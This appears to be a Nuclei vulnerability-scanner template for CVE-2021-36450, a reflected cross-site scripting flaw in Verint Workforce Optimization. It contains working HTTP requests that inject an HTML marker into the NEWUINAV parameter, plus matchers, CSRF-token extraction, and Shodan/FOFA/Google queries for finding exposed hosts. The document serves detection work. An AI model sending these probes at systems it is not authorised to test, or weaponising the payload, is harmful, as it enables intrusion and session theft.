id: CVE-2021-36450

info:
  name: Verint Workforce Optimization 15.2.8.10048 - Cross-Site Scripting
  author: atomiczsec
  severity: medium
  description: Verint Workforce Optimization 15.2.8.10048 contains a cross-site scripting vulnerability via the control/my_notifications NEWUINAV parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of Verint Workforce Optimization.
  reference:
    - https://medium.com/@1nf0sk/cve-2021-36450-cross-site-scripting-xss-6f5d8d7db740
    - https://sushantvkamble.blogspot.com/2021/11/cross-site-scripting-xss.html
    - http://verint.com
    - https://nvd.nist.gov/vuln/detail/CVE-2021-36450
    - https://medium.com/%401nf0sk/cve-2021-36450-cross-site-scripting-xss-6f5d8d7db740
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-36450
    cwe-id: CWE-79
    epss-score: 0.66401
    epss-percentile: 0.99184
    cpe: cpe:2.3:a:verint:workforce_optimization:15.2.8.10048:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: verint
    product: workforce_optimization
    shodan-query:
      - title:"Verint Sign-in"
      - http.title:"verint sign-in"
    fofa-query: title="verint sign-in"
    google-query: intitle:"verint sign-in"
  tags: cve2021,cve,xss,verint,vuln

http:
  - raw:
      - |
        GET /wfo/control/signin?rd=%2Fwfo%2Fcontrol%2Fmy_notifications%3FNEWUINAV%3D%22%3E%3Ch1%3ETest%3C%2Fh1%3E26 HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wfo/control/signin?rd=%2Fwfo%2Fcontrol%2Fmy_notifications%3FNEWUINAV%3D%22%3E%3Ch1%3ETest%3Ch1%3E%26 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        browserCheckEnabled=true&username=admin&language=en_US&defaultHttpPort=80&screenHeight=1080&screenWidth=1920&pageModelType=0&pageDirty=false&pageAction=Login&csrfp_login={{csrfp_login}}

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><h1>Test</h1>26" class="loginUserNameText'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: csrfp_login
        group: 1
        regex:
          - 'csrfp_login=([a-zA-Z0-9]+);'
        internal: true
        part: header
# digest: 4a0a00473045022028d90133b7d5769eb3f141ae4172d7403c7f70f5a049ef4b3c317141face82f2022100a2ce0369d6661e9b32a6ca60f9f594b2c89542a51325a7571a309a1936f26151:922c64590222798bb761d5b6d8e72950